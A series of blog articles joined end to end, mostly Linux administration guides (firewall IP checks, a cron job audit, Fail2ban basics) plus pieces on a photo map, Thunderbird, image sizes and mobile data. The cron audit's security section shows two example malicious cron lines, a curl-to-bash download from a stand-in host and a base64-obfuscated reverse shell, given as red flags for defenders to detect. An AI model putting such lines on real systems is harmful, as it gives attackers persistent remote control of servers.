Checking iptables Rules

If your server uses iptables as its firewall, you can search for the IP address in the firewall rules:

# Search all chains for a specific IP
sudo iptables -L -n -v | grep 203.0.113.50

# Check the INPUT chain specifically
sudo iptables -L INPUT -n -v | grep 203.0.113.50

# List all rules in a more parseable format
sudo iptables -S | grep 203.0.113.50

The -n flag shows numeric addresses without DNS resolution, -v provides verbose output with packet counts, and -S displays rules in a format similar to how they were added.

Checking nftables Rules

For systems using nftables (the successor to iptables):

# List entire ruleset and search for IP
sudo nft list ruleset | grep 203.0.113.50

Checking firewalld

If you're using firewalld (common on RHEL/CentOS/Fedora):

# Check all firewall rules
sudo firewall-cmd --list-all | grep 203.0.113.50

# Check rich rules specifically
sudo firewall-cmd --list-rich-rules | grep 203.0.113.50

# Check direct rules
sudo firewall-cmd --direct --get-all-rules | grep 203.0.113.50

Checking Fail2Ban

Fail2Ban automatically blocks IPs after repeated failed login attempts. To check if an IP is banned:

# See all active jails
sudo fail2ban-client status

# Check a specific jail (e.g., sshd)
sudo fail2ban-client status sshd

# Search for a specific IP in a jail
sudo fail2ban-client status sshd | grep 203.0.113.50

# Get all banned IPs (Fail2Ban 0.11+)
sudo fail2ban-client banned

To unban an IP from Fail2Ban:

sudo fail2ban-client set sshd unbanip 203.0.113.50

Checking TCP Wrappers

Older systems may use TCP Wrappers for access control:

# Check hosts.deny
grep 203.0.113.50 /etc/hosts.deny

# Check hosts.allow
grep 203.0.113.50 /etc/hosts.allow

Checking CSF (ConfigServer Security & Firewall)

If you're running CSF:

# Check if an IP is blocked
sudo csf -g 203.0.113.50

# Search the deny list
grep 203.0.113.50 /etc/csf/csf.deny

# Search temporary blocks
grep 203.0.113.50 /var/lib/csf/csf.tempban

Testing Connectivity

To verify whether an IP can actually connect to your server, test from the client side:

# Test a specific port with netcat
nc -zv yourserver.com 22

# Test with telnet
telnet yourserver.com 22

# Test HTTP/HTTPS
curl -v http://yourserver.com

If the connection times out or is refused immediately, the IP may be blocked.

Checking System Logs

Don't forget to check your system logs for blocking events:

# Check firewall logs (location varies by distribution)
sudo grep "203.0.113.50" /var/log/syslog
sudo grep "203.0.113.50" /var/log/messages

# Check kernel logs for dropped packets
sudo dmesg | grep "203.0.113.50"

# For systemd-based systems
sudo journalctl | grep "203.0.113.50"

Quick Reference Table

Conclusion

The method you use depends on your server's security configuration. Most modern Linux distributions use either iptables/nftables or firewalld as their primary firewall, often combined with Fail2Ban for intrusion prevention. Start by identifying which firewall system your server uses, then apply the appropriate commands from this guide.

Thank you for reading!

This article was written by Ramiro Gómez using open source software and the assistance of AI tools. While I strive to ensure accurate information, please verify any details independently before taking action. For more articles, visit the Geeklog on geeksta.net.

Because cron jobs run unattended, they are easy to overlook. Over time, a server accumulates scheduled tasks added by different users, applications, and installers. Without periodic audits, it becomes impossible to know exactly what is running on your system, when, and as whom.

This guide will teach you where cron jobs live on a Linux system, how to inspect them for all users at once, what normal cron jobs look like, and what suspicious ones look like. By the end, you will have a repeatable process for auditing scheduled tasks on any Linux server.

A Quick Cron Refresher

How Cron Works

Cron is a time-based job scheduler. The crond daemon runs continuously in the background and wakes up every minute to check whether any scheduled task is due to run. Jobs are defined in crontab files, which are plain text files that include a schedule and a command.

There are two types of crontabs: user crontabs (personal to each system user) and system crontabs (owned by root or placed in dedicated directories by applications). Both are checked by the same crond daemon.

Cron Schedule Syntax

Every cron job starts with five fields that define when the job should run, followed by the command itself:

* * * * *  command
│ │ │ │ │
│ │ │ │ └─ Day of week (0–7, Sunday = 0 or 7)
│ │ │ └─── Month (1–12)
│ │ └───── Day of month (1–31)
│ └─────── Hour (0–23)
└───────── Minute (0–59)

An asterisk * in any field means "every" — every minute, every hour, and so on. Commas let you specify multiple values (1,15,30). Hyphens define ranges (1-5 for Monday through Friday). A forward slash defines a step (*/15 means every 15 minutes).

For example:

# Run at 2:30 AM every day
30 2 * * * /usr/local/bin/backup.sh

# Run every 15 minutes
*/15 * * * * /usr/local/bin/healthcheck.sh

# Run at noon on the first of every month
0 12 1 * * /usr/local/bin/monthly-report.sh

Special Time Strings

Cron also supports shorthand strings as an alternative to the five-field syntax:

Common Real-World Cron Job Examples

Understanding what legitimate cron jobs look like makes it much easier to spot unusual or suspicious ones. Here are the most common categories of scheduled tasks you will encounter in production environments.

Backups

Backups are among the most important scheduled tasks on any server. Common examples include nightly database dumps, syncing files to remote storage, and archiving log files.

# Dump MySQL database nightly at 1 AM
0 1 * * * root mysqldump -u root mydb > /backups/mydb_$(date +\%F).sql

Log Rotation and Cleanup

Log files can consume enormous amounts of disk space if left unchecked. Cron jobs are used to rotate logs, compress old ones, and purge entries beyond a certain age. On most systems, logrotate is itself invoked by a daily cron job.

# Logrotate runs as a daily cron job on most systems (/etc/cron.daily/logrotate)
/usr/sbin/logrotate /etc/logrotate.conf

# Delete temp files older than 7 days
0 3 * * * root find /tmp -mtime +7 -delete

TLS Certificate Renewal

Let's Encrypt certificates expire every 90 days. Certbot installs a cron job or systemd timer to handle renewal automatically. If installed via a package manager, you will typically find it in /etc/cron.d/ or /etc/cron.daily/.

# Certbot renewal check twice daily (common pattern)
0 */12 * * * root certbot renew --quiet

System Updates

Some organizations configure servers to apply security updates automatically on a schedule, reducing the window of exposure from known vulnerabilities.

# Apply security updates weekly (Debian/Ubuntu)
0 4 * * 0 root apt-get update && apt-get -y upgrade

# Run yum-cron for automatic updates (RHEL/CentOS)
0 0 * * * root /usr/sbin/yum-cron

Monitoring and Health Checks

Cron is often used to run lightweight monitoring checks that send an alert or write to a log if something is amiss. Disk usage checks, ping tests, and process monitoring are common examples.

# Alert if disk usage exceeds 90%
*/10 * * * * root df -h | awk '$5 > 90 {print}' | mail -s 'Disk Warning' admin@example.com

# Check that Apache is running every 5 minutes, restart if not
*/5 * * * * root pgrep apache2 || systemctl restart apache2

Application Maintenance

Applications often install their own cron jobs as part of their package setup. These jobs handle tasks such as cleaning up PHP sessions, scrubbing filesystems, and restarting internal services. For instance, CloudPanel installs daily jobs to restart rsyslog and its own agent service as part of regular housekeeping for a hosting control panel.

# Clean PHP sessions twice per hour
09,39 * * * * root [ -x /usr/lib/php/sessionclean ] && /usr/lib/php/sessionclean

# CloudPanel: restart logging service nightly
5 0 * * * clp /usr/bin/sudo /etc/init.d/rsyslog restart &> /dev/null

# CloudPanel: restart agent service
15 2 * * * clp /usr/bin/sudo /usr/bin/systemctl restart clp-agent &> /dev/null

Where Cron Jobs Live on a Linux System

Cron jobs can be defined in several different places. A thorough audit requires checking all of them.

/etc/crontab

The main system-wide crontab. Unlike user crontabs, entries here include an additional field specifying which user the command runs as. You can view it with cat /etc/crontab.

/etc/cron.d/

Applications that need to install their own cron schedules drop files here rather than modifying the main crontab. Each file follows the same format as /etc/crontab. This is commonly where you will find jobs from packages like sysstat, certbot, and hosting control panels.

/etc/cron.daily/, cron.hourly/, cron.weekly/, cron.monthly/

These directories contain plain shell scripts (not crontab format) that are executed on the corresponding schedule. The timing is determined by entries in /etc/crontab or by the anacron service. List their contents with:

ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/

/var/spool/cron/

User crontabs are created by individual users via crontab -e and stored here, in files named after each user. On Debian and Ubuntu the subdirectory is called crontabs; on Red Hat-based systems the files sit directly in /var/spool/cron/. As root you can read any of them directly.

How to Inspect Cron Jobs

Your Own Crontab

View your own user's crontab with:

crontab -l

If you have no cron jobs set up, this will print no crontab for <username>.

A Specific User's Crontab

As root, inspect any individual user's crontab using the -u flag:

crontab -u username -l

All Users at Once

The most thorough approach is to loop through every user on the system and print their crontab. The following one-liner reads all usernames from /etc/passwd and queries each one:

for user in $(cut -f1 -d: /etc/passwd); do
    echo "=== Crontab for $user ==="
    crontab -u $user -l 2>/dev/null
done

The 2>/dev/null suppresses the "no crontab for this user" messages, keeping the output clean. Only users with actual cron jobs will produce output beyond the header line.

System Cron Files

Check all system-level cron configuration in one pass:

# View the main system crontab
cat /etc/crontab

# View all files in cron.d
cat /etc/cron.d/*

# List scripts in the schedule directories
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/

Directly Inspect the Spool Directory

You can also read user crontabs directly from the spool directory as root, which is useful for scripting and automation:

# Debian/Ubuntu
grep -r . /var/spool/cron/crontabs/ 2>/dev/null

# RHEL/CentOS
grep -r . /var/spool/cron/ 2>/dev/null

Check Running Cron Processes

To verify the cron daemon is active and see any currently running cron processes:

# Check daemon status
systemctl status cron       # Debian/Ubuntu
systemctl status crond      # RHEL/CentOS

# List running cron processes
ps aux | grep cron

View Cron Logs

Cron logs reveal what has already run, including errors and timing. Check the relevant log file for your distribution:

# Debian/Ubuntu: cron entries in syslog
grep CRON /var/log/syslog | tail -50

# RHEL/CentOS: dedicated cron log
tail -50 /var/log/cron

# systemd-based systems: use journalctl
journalctl -u cron --since today
journalctl -u crond --since today

Tip: If a cron job is failing silently, the logs are usually the first place to look. An error in the logs combined with an unexpected system state (missing files, full disk) can quickly reveal the culprit.

A Note on Systemd Timers

On modern Linux distributions, systemd timers are increasingly used as an alternative or complement to cron. They provide more precise scheduling, dependency management, and built-in logging through the journal. Importantly, a job defined as a systemd timer will not appear in any crontab audit.

To see all systemd timers, including the next scheduled run time for each:

systemctl list-timers --all

If you find timers you do not recognize, investigate the associated service unit:

# Show the timer definition
systemctl cat my-timer.timer

# Show what service the timer activates
systemctl cat my-timer.service

On many Debian and Ubuntu servers, you might find that certain tasks you would expect to be cron jobs, like apt daily updates and e2fsck scrubbing, have been moved to systemd timers. For this reason, it's important to include both cron and systemd in any full audit of scheduled tasks.

Security Considerations

Why Attackers Love Cron

Cron is a favorite tool for attackers seeking persistence. Once they have gained access to a system, planting a cron job ensures they retain that access even if the initial vulnerability is patched, the compromised process is restarted, or the system is rebooted. A well-hidden cron job can persist for months without detection.

What Suspicious Cron Jobs Look Like

When auditing cron jobs after a suspected compromise, look for any of the following red flags:

• Commands that download files from the internet, especially curl or wget piped directly to bash
• Commands that connect back to an unusual IP address or domain (reverse shells)
• Base64-encoded commands, which are used to obfuscate payloads
• Jobs that write to unexpected locations, especially /tmp, /dev/shm, or hidden directories
• Jobs running as root that were not placed there by a known package
• Jobs that modify /etc/passwd, /etc/shadow, or SSH authorized_keys files
• Cron job names designed to blend in with legitimate system tasks

A particularly common attacker pattern looks like this:

# Classic cryptominer persistence via cron
*/5 * * * * root curl -s http://malicious.example.com/update.sh | bash

# Obfuscated reverse shell
*/10 * * * * nobody echo YmFzaCAtaSA+Ji9kZXYvdGNw... | base64 -d | bash

Best Practices

Following a few simple principles can significantly reduce your risk surface around cron:

• Principle of least privilege: Cron jobs should run as the least privileged user possible. Avoid running jobs as root unless absolutely necessary. Use dedicated service accounts with restricted permissions for specific tasks.
• Log cron output: Redirect stdout and stderr to a log file rather than discarding output. Silent failures are harder to detect, and logs can help debug unexpected issues.
• Periodic audits: Schedule a regular review of all cron jobs as part of your security routine, not just after incidents. Include both user and system crontabs and ensure no unauthorized entries exist.
• Version control: Keep a copy of known-good cron configurations in source control so you can diff against what is currently on the server. This helps you quickly identify unwanted changes.
• Monitor for changes: Use tools like auditd or similar file integrity monitoring systems to alert you when crontab files are modified. Monitoring /var/spool/cron/, /etc/crontab, and /etc/cron.d/ for alterations can provide early warnings of unauthorized additions.
• Restrict user access: Control who can create cron jobs by using /etc/cron.allow and /etc/cron.deny. Only users with a legitimate need for scheduled tasks should be permitted to create them. Keeping this list concise limits your system's attack surface.
• Validate scripts before scheduling: Run and review scripts manually before automating them in cron to ensure they work as intended and do not introduce unintended security vulnerabilities.
• Balance output redirection: Log cron job output where possible, but ensure sensitive systems like production servers aren't overwhelmed by excessive log noise. For jobs where reliability is proven, you may discard output selectively using > /dev/null 2>&1. However, even in these cases, ensure failure alerts are captured elsewhere.
• Check for systemd timers: Include systemd timers in any full audit. They are increasingly used as an alternative to cron jobs and must be inspected to identify scheduled system tasks. Use systemctl list-timers --all regularly.
• Time-zone awareness: Be mindful of time zones when scheduling cron jobs, especially on systems that might operate in multiple regions or adjust for daylight savings. Server configurations running in UTC time can help standardize schedules.

# Good practice: log cron output to a file
0 2 * * * root /usr/local/bin/backup.sh >> /var/log/backup.log 2>&1

# Discard output only when you are certain the job is reliable
0 3 * * * root /usr/local/bin/cleanup.sh > /dev/null 2>&1

By combining these practices into your workflow, you can greatly enhance the reliability and security of your scheduled tasks. Make auditing and maintaining cron jobs a regular routine alongside other system maintenance tasks.

Conclusion

Cron jobs are an essential aspect of Linux system administration, but their silent, automated nature often makes them easy to forget. Over time, a server that has been running for years can gather dozens of scheduled tasks from various users, packages, and installers. Some of these tasks might no longer be necessary, while others might even pose a risk.

Here is a quick-reference audit checklist you can run on any server:

# 1. Check all user crontabs
for user in $(cut -f1 -d: /etc/passwd); do
    echo "=== $user ==="
    crontab -u $user -l 2>/dev/null
done

# 2. Check system crontabs
cat /etc/crontab
cat /etc/cron.d/*

# 3. List cron script directories
ls -la /etc/cron.{daily,hourly,weekly,monthly}/

# 4. Read spool directly
grep -r . /var/spool/cron/crontabs/ 2>/dev/null   # Debian/Ubuntu
grep -r . /var/spool/cron/ 2>/dev/null             # RHEL/CentOS

# 5. Check systemd timers too
systemctl list-timers --all

# 6. Review recent cron log activity
grep CRON /var/log/syslog | tail -100

Make auditing your cron jobs a regular routine rather than a reactive measure when something goes wrong. Performing this audit quarterly or including it in your server onboarding checklist will provide a much clearer understanding of what your systems are doing, even during those early hours of the morning.

Thank you for reading!

This article was written by Ramiro Gómez using open source software and the assistance of AI tools. While I strive to ensure accurate information, please verify any details independently before taking action. For more articles, visit the Geeklog on geeksta.net.

Quick demo of the interactive viewer

The Concept

The idea was simple: create a chronological journey through my vacation photos, where each photo appears on a 3D terrain map at its location. As you navigate through the photos, the camera flies to each spot, showing the landscape in 3D.

Tech Stack

deck.gl for 3D Visualization

I chose deck.gl for rendering the 3D terrain and photo markers. It's a WebGL-powered framework that handles complex 3D visualizations with impressive performance. Two key layers made this possible:

TerrainLayer - Renders the 3D elevation map using Terrarium-format tiles from AWS:

const terrain = new TerrainLayer({
    id: 'terrain',
    elevationData: 'https://s3.amazonaws.com/elevation-tiles-prod/terrarium/{z}/{x}/{y}.png',
    texture: 'https://server.arcgisonline.com/ArcGIS/rest/services/World_Imagery/MapServer/tile/{z}/{y}/{x}',
    ...
});

ScatterplotLayer - Displays photo locations as 3D points on the terrain. I used two layers: one for visited photos (gray, smaller) and one for the current photo (orange, larger).

Data Processing

The photos' EXIF data provided latitude, longitude, altitude, and timestamps. I extracted this into a CSV file with entries sorted chronologically:

filestem,latitude,longitude,altitude,timestamp
IMG_20260106_132810881,36.78705,-3.883663888888889,197.6,2026:01:06 13:28:12
...

Key Features

Smooth Camera Transitions

When navigating between photos, the camera smoothly flies to the new location using deck.gl's FlyToInterpolator:

deckInstance.setProps({
    initialViewState: {
        longitude: currentPhoto.longitude,
        latitude: currentPhoto.latitude,
        zoom: 15,
        bearing: 180,
        pitch: 40,
        transitionDuration: 2000,
        transitionInterpolator: new deck.FlyToInterpolator()
    }
});

Progressive Trail Visualization

As you move through the photos, previously visited locations remain visible in gray, creating a visual trail of your journey. The current photo is highlighted in orange.

Responsive Layout

The interface adapts to different screen sizes:

• Landscape: Map takes 60-70% of width, photo/controls on the right
• Portrait: Map takes 60% of height, photo/controls below

@media (max-aspect-ratio: 1/1) {
    #app-container {
        flex-direction: column;
    }
    #map-container {
        flex: 0 0 60%;
    }
    ...
}

Keyboard Navigation

Keyboard shortcuts for quick navigation:

• Arrow keys: Previous/Next photo
• Home/End: First/Last photo
• Spacebar: Play/Pause auto-advance

Auto-Play Journey

A play button advances through photos automatically (3 seconds each), creating a cinematic journey through the vacation.

Challenges & Solutions

GPS Altitude Accuracy

Phone GPS altitude data can be unreliable, especially near sea level. I added a note in the info modal about this limitation. In future versions, I might cross-reference with the terrain elevation data to improve accuracy.

Photo Loading Performance

I selected 300 of the photos that had GPS data and created smaller web-optimized versions using wim to ensure quick loading without sacrificing too much quality.

Mobile Layout

Getting the controls to fit on small portrait screens required careful tweaking of photo max-height and padding values. The final solution uses a compact info display (icons instead of labels) and reduced button spacing.

What I Learned

1. deck.gl is powerful but has a learning curve - The layer system is elegant once you understand it, but proper coordinate handling and view state management took some experimentation.
2. GPS metadata opens creative possibilities - This project barely scratches the surface of what's possible with GPS metadata from photos.
3. Responsive 3D is tricky - Balancing the 3D visualization with UI controls across different screen sizes required more iteration than expected.
4. Small touches matter - The smooth camera transitions, progressive trail effect, and keyboard shortcuts help make the experience more engaging.

Try It Yourself

View the live project →

The project is built with vanilla JavaScript and deck.gl - no frameworks needed. If you have GPS-tagged photos from a trip, you could adapt this code to create your own elevation diary.

Have you built something similar or have ideas for improvements? Drop a comment below!

Tech Used:

• deck.gl - 3D visualization
• wim - Image optimization
• AWS Terrain Tiles - Elevation data
• Esri World Imagery - Satellite imagery

Thank you for reading!

This article was written by Ramiro Gómez using open source software and the assistance of AI tools. While I strive to ensure accurate information, please verify any details independently before taking action. For more articles, visit the Geeklog on geeksta.net.

The good news: you can fix it permanently once you know where to look.

The Real Problem: Too Many View Settings

Thunderbird doesn't have just one "threaded view" setting. It has:

• Global default view settings
• Per-folder saved views
• Per-account overrides
• Special rules for Unified and virtual folders

If even one of these still enables threading, Thunderbird will quietly turn it back on.

Step 1: Turn Off Threading Globally (Most Important)

1. Open Thunderbird
2. Go to View → Sort by
3. Make sure Threaded and Grouped By Sort are unchecked
4. Select Unthreaded

💡 Tip: Do this while no message is selected, otherwise Thunderbird may only apply the change to the current folder.

Step 2: Repair Folders That Keep Forgetting

Some folders store their own corrupted view settings.

For each problematic folder:

1. Right-click the folder
2. Choose Properties
3. Click Repair Folder
4. Reopen the folder and set Unthreaded again

This clears cached metadata that can force threading back on.

Step 3: Stop Account-Level Overrides

Some mail accounts override global defaults.

1. Open Settings → Account Settings
2. Select the account
3. Go to Server Settings
4. Enable "Use global default view settings for this account"

Restart Thunderbird afterward.

Step 4: Watch Out for Unified and Virtual Folders

Folders like Unified Inbox and Saved Searches ignore per-folder settings and always inherit the global view.

Make sure your global view is set to Unthreaded while viewing a Unified folder, then restart Thunderbird.

Step 5: Reset View Preferences (If All Else Fails)

If the issue persists, reset the internal preferences:

1. Open Settings → General → Config Editor

2. Reset:

   • mailnews.default_view_flags
   • mailnews.default_sort_type
   • mailnews.default_sort_order

Restart Thunderbird.

Final Thoughts

Thunderbird's folder view system is powerful but messy. Once global defaults, folder repairs, and account settings are aligned, threaded view usually stays gone for good.

If threading keeps coming back even after all this, the profile itself may be partially corrupted, and creating a new Thunderbird profile can resolve the issue permanently.

Thank you for reading!

This article was written by Ramiro Gómez using open source software and the assistance of AI tools. While I strive to ensure accurate information, please verify any details independently before taking action. For more articles, visit the Geeklog on geeksta.net.

Facebook

Profile & Cover

• Profile Picture: 320×320px minimum (displays at 170×170 on desktop, 196×196 on mobile) – upload at highest resolution up to 2048×2048px
• Cover Photo (Personal Profile): 820×360px recommended (displays at 820×312 on desktop, 640×360 on mobile)
• Cover Photo (Business Page): 820×360px recommended (displays at 820×312 on desktop, 640×360 on mobile)
• Group Cover Photo: 1640×856px
• Event Cover Photo: 1920×1005px

Posts

• Shared Image: 1200×630px (recommended)
• Shared Link: 1200×630px

Stories & Reels

• Stories: 1080×1920px (9:16 ratio)
• Reels: 1080×1920px (9:16 ratio)

Video

• Landscape Video: 1280×720px (16:9 ratio)
• Square Video: 1080×1080px (1:1 ratio)
• Vertical Video: 1080×1920px (9:16 ratio)

Instagram

Profile

• Profile Picture: 320×320px minimum (displays as 110×110, shown as circle)

Feed Posts

• Square: 1080×1080px (1:1 ratio)
• Landscape: 1080×566px (1.91:1 ratio)
• Portrait: 1080×1350px (4:5 ratio)

Stories & Reels

• Stories: 1080×1920px (9:16 ratio)
• Reels: 1080×1920px (9:16 ratio, displays as 1080×1440 in grid view)

Other

• Carousel: 1080×1080px (1:1 ratio recommended, all images same size)

YouTube

Channel Art

• Profile Picture: 800×800px (displays as circular, minimum shows at 98×98)
• Channel Banner: 2560×1440px (safe area: 1235×338px or 1546×423px)

Video Thumbnails

• Thumbnail: 1280×720px (16:9 ratio, max 2MB)

Community Posts

• Community Post Image: 1080×1080px (1:1 ratio recommended)
• Maximum dimensions: 1600×1600px
• Supported aspect ratios: 2:5 to 5:2
• Note: Can add up to 5 images per post (max 16MB total)

Video Dimensions

• Standard HD (1080p): 1920×1080px (16:9 ratio)
• 4K: 3840×2160px (16:9 ratio)
• Vertical/Shorts: 1080×1920px (9:16 ratio)

Shorts

• YouTube Shorts: 1080×1920px (9:16 ratio)

TikTok

Profile

• Profile Picture: 200×200px (1:1 ratio)

Videos

• Standard Video: 1080×1920px (9:16 ratio recommended)
• Alternative Ratios: 1:1 (square) or 16:9 (landscape) supported but not optimal

Cover Image

• Video Cover: 1080×1920px (9:16 ratio)

Quick Reference Table

General Tips

• Always use high-resolution images to avoid pixelation
• Upload at higher resolutions when possible (platforms will resize down)
• Export images in JPG or PNG format
• Keep text and important elements within safe zones for mobile viewing
• Use RGB color mode for digital content
• Test content on both desktop and mobile devices
• For profile pictures that display as circles, center important elements
• Facebook cover photos: keep key content in center safe zone (not under profile picture)
• YouTube banners: keep critical elements in 1235×338px safe area for all devices

Summary

Having the correct dimensions for your social media content makes the difference between professional-looking posts and pixelated, poorly cropped images. This cheat sheet covers all the essential dimensions for the four major social platforms: Facebook, Instagram, YouTube, and TikTok. From profile pictures and cover photos to feed posts, stories, reels, and video content, you now have everything you need to create optimized visuals that look great on both desktop and mobile devices. Remember to always upload high-resolution images and test your content across different devices before publishing. Save this guide and refer back to it whenever you're creating new social media content.

Thank you for reading!

This article was written by Ramiro Gómez using open source software and the assistance of AI tools. While I strive to ensure accurate information, please verify any details independently before taking action. For more articles, visit the Geeklog on geeksta.net.

But after over a month of living with this setup, I've found that the experience has noticeably changed my habits and workflow for the better. While it hasn't always been easy, it has caused me to reexamine how I use the Internet and how I approach my work and daily tasks. Here's what I've learned.

Deliberate Internet Usage

With a limited data plan, I've had to think critically about when and how to use the Internet. In the past, I might have spent long stretches mindlessly browsing or keeping tabs open "just in case." Now, my online sessions are deliberate and focused on specific needs to avoid unnecessary data consumption.

This shift in mindset has been unexpectedly liberating. It feels good to be mindful about Internet usage instead of passively being led by it.

Reduced Social Media and Procrastination

One of the most notable changes in my daily life has been my reduced reliance on social media. Previously, I could easily get lost scrolling through feeds multiple times a day. With a 30GB limit, I've had to be stricter about that behavior, and this change has naturally curtailed procrastination.

The result? I now spend more time on meaningful activities and less time falling into the black hole of endless content. It's refreshing to have that clarity.

Once-a-Day Routine Check-Ins

Like many others, I regularly visit certain websites for both personal and work-related reasons, such as dashboards with statistics, analytics, or updates on business matters. In the past, I would check these sites several times a day — largely out of habit.

With my Internet usage now restricted, I've instituted a once-a-day routine for checking most of these sites. I haven't felt like I was missing anything important. This approach has reduced interruptions, minimized distractions, and given me more time to focus on single tasks at hand.

Problem-Solving with My Own Brain

As a programmer and tech worker, it's natural to rely on tools like search engines, forums, or large language models (LLMs) to quickly troubleshoot problems. However, with more constrained access to the Internet, I've started depending less on these tools and more on my own problem-solving skills.

For example, I turned off features like GitHub Copilot in my development environment because of how often I worked offline. This change has pushed me to reason through issues independently before seeking an external solution. Not only has this improved my productivity, but it's also reinforced confidence in my existing knowledge.

A Life with Fewer Distractions

Perhaps the biggest benefit of this experiment has been the calmness I've felt in my daily routine. Without constant connectivity, there's simply less noise.

This reduced connectivity has helped me focus better on what matters and let go of things beyond my control. It's a small step, but it's had an outsized impact on my overall sense of well-being.

Reflections on the Experiment

Certainly, this lifestyle adjustment comes with its own challenges. For example, I've had to plan ahead for downloading essential updates and think twice about how I use my allotted data. However, these minor inconveniences have been outweighed by the benefits of living with a more intentional and efficient approach to the Internet.

This experience has given me a new perspective: Having constant, unlimited Internet access isn't universally beneficial, especially if it fosters habits that detract from what you truly want to accomplish. Setting limits, whether self-imposed or due to a data cap, can help reset your relationship with technology in a constructive way.

Will I stick with this 30GB limit for the long run? I'm not sure yet. But the lessons I've learned — about being conscious of my habits, staying focused, and reducing distractions — will remain with me regardless of my future Internet plans. For now, I'm enjoying life with less digital noise.

Thank you for reading!

This article was written by Ramiro Gómez using open source software and the assistance of AI tools. While I strive to ensure accurate information, please verify any details independently before taking action. For more articles, visit the Geeklog on geeksta.net.

General Tips for Saving Data Across All Devices

Before diving into device-specific suggestions, here are some universal strategies for data savings:

• Utilize Wi-Fi: Always connect to a secure Wi-Fi network when one is available, particularly at home, work, or public spaces with trusted connectivity.
• Monitor Data Usage: Most devices include tools to track your data consumption. Use them to identify high-usage apps and adjust your habits accordingly. Alternatively, mobile carriers often provide apps or dashboards to help monitor your usage.
• Set Data Limits: Many smartphones allow you to set limits and receive alerts when you're nearing your monthly data cap. Use these tools to stay on top of your plan.

By incorporating these general best practices, you can effectively reduce unnecessary data consumption regardless of the device you're using.

Saving Data on Smartphones

Smartphones are often the biggest culprits when it comes to draining mobile data. These tips will help minimize unnecessary usage:

1. Enable Data Saver Mode: Most smartphones have a data saver or low data mode, which restricts background app activity and optimizes data usage.
2. Restrict Background Data: Go to your phone's settings and disable background data usage for all apps, that don't need it to function properly. This ensures that apps won't pull data in the background.
3. Disable Auto-Updates: Set app updates to download only when connected to Wi-Fi instead of using your mobile data plan.
4. Reduce Streaming Quality: On video streaming apps like YouTube and Netflix, opt for lower quality (360p or lower) rather than HD or 4K.
5. Turn Off Video Autoplay: Many social media apps like Facebook, Instagram, and Twitter autoplay videos as you scroll. Turn this feature off in the app's settings to avoid unnecessary data usage.

Saving Data on Tablets

Tablets are often used for entertainment and productivity. To reduce data usage on tablets, try these strategies:

1. Use Offline Features for Apps: Many apps—including streaming, reading, and navigation apps—allow you to download content (like maps, shows, or articles) for offline use. Download what you need while connected to Wi-Fi for future use.
2. Manage Cloud Sync Settings: Disable or limit auto-syncing of data to cloud storage like Google Drive, iCloud, or Dropbox, unless you're connected to Wi-Fi.
3. Block Ads: Install an ad blocker, which can reduce the amount of data consumed by video and banner ads on websites.
4. Choose Data-Conscious Browsers: Browsers like Opera Mini, Brave, or Puffin compress content and block unnecessary data-hogging ads or trackers automatically.

Saving Data on Computers (When Connected to Mobile Hotspots)

Using your mobile phone as a hotspot to connect your computer to the Internet can rapidly deplete your data. To optimize usage:

1. Turn Off Automatic Updates: Disable system and software updates until you're on Wi-Fi. Large updates for your operating system or applications can consume gigabytes of data. If possible, schedule updates for nighttime when you're back at home.
2. Limit File Downloads: Avoid downloading large files, such as software, videos, or games, when tethering, unless absolutely necessary.
3. Adjust Streaming Quality: Lower video quality settings on streaming platforms like YouTube, Netflix, or Amazon Prime to save data. Switch to audio-only modes if available.
4. Disable Image Loading: Some browsers allow you to turn off or reduce the quality of images, which can help significantly when browsing content-heavy websites.
5. Close Unused Programs: Shut down data-heavy applications running in the background, such as cloud storage services (Dropbox, OneDrive, etc.), to avoid unnecessary syncing.

Browser-Specific Tips

Many web browsers now come with features to minimize data usage. Exploring the right browser and settings can save you a lot of data:

1. Opera Mini: This browser compresses pages, including images and text. It also reduces the size of video streams, making it a favorite for data-saving.
2. Google Chrome (with Lite Mode): Activating Lite Mode compresses content, reduces image quality, and blocks unnecessary parts of webpages that consume data.
3. Puffin Browser: Puffin uses cloud-based data compression to process websites, which significantly lowers data use while browsing.
4. Brave Browser: Built-in ad and tracker blocking reduces data consumption and improves page load speeds.
5. Install Ad Blockers: If your browser doesn't have built-in blocking capabilities, consider adding third-party extensions like uBlock Origin to remove data-heavy ads and pop-ups.

Advanced Techniques

If you want to go the extra mile in limiting data use, here are some advanced strategies:

1. Use VPNs with Compression: Some VPN services offer data compression features, which reduce the size of data packets transmitted over the Internet. Popular VPNs like Opera VPN or Cloudflare often include data-saving options.
2. Optimize Streaming Services: Platforms like Spotify and Netflix let you download content over Wi-Fi for offline viewing or listening. They also allow you to reduce streaming quality, saving significant amounts of data.
3. Disable Auto-Sync Features: On all devices, turn off background sync options for non-essential apps. Synchronizing your entire photo library, for instance, can quickly eat into your data.

Conclusion

Reducing your data consumption doesn't have to mean entirely giving up Internet conveniences. By incorporating these tips into your daily technology habits, you can still enjoy browsing, streaming, and working online while staying within your data limits. Whether you're using a smartphone, tablet, or laptop, small adjustments like managing app updates, optimizing streaming quality, and choosing data-saving modes can make a big difference.

Take control of your data plan and ensure you're making the most of your Internet experience without unnecessary stress or expense!

Thank you for reading!

This article was written by Ramiro Gómez using open source software and the assistance of AI tools. While I strive to ensure accurate information, please verify any details independently before taking action. For more articles, visit the Geeklog on geeksta.net.

1. Core Concepts

• Jail: A Fail2ban unit that defines which logs to monitor, filter rules, and actions (e.g., banning an IP). Example: SSH protection with sshd.
• Filter: A regex-based rule set to identify bad behavior in logs.
• Action: The response triggered by Fail2ban (e.g., banning an IP using iptables).
• Ban Time: How long IPs stay banned (seconds).
• Max Retry: Maximum failed login attempts before banning an IP.

2. Service Management

Start Fail2ban service:

sudo systemctl start fail2ban

Stop Fail2ban service:

sudo systemctl stop fail2ban

Restart Fail2ban service (for major configuration changes):

sudo systemctl restart fail2ban

Reload Fail2ban service (for minor configuration changes):

sudo fail2ban-client reload

Enable Fail2ban at startup:

sudo systemctl enable fail2ban

Check Fail2ban service status:

sudo systemctl status fail2ban

3. Reload vs Restart

Best Practice: Begin with reload. If changes are not applied or functional issues occur, use restart.

4. Key Configuration Files

• Main Configuration: /etc/fail2ban/fail2ban.conf
• Jail Configuration: /etc/fail2ban/jail.conf or /etc/fail2ban/jail.local (use jail.local for custom settings to avoid overwrites during updates).
• Log File: /var/log/fail2ban.log

5. Managing Jails

View active jails:

sudo fail2ban-client status

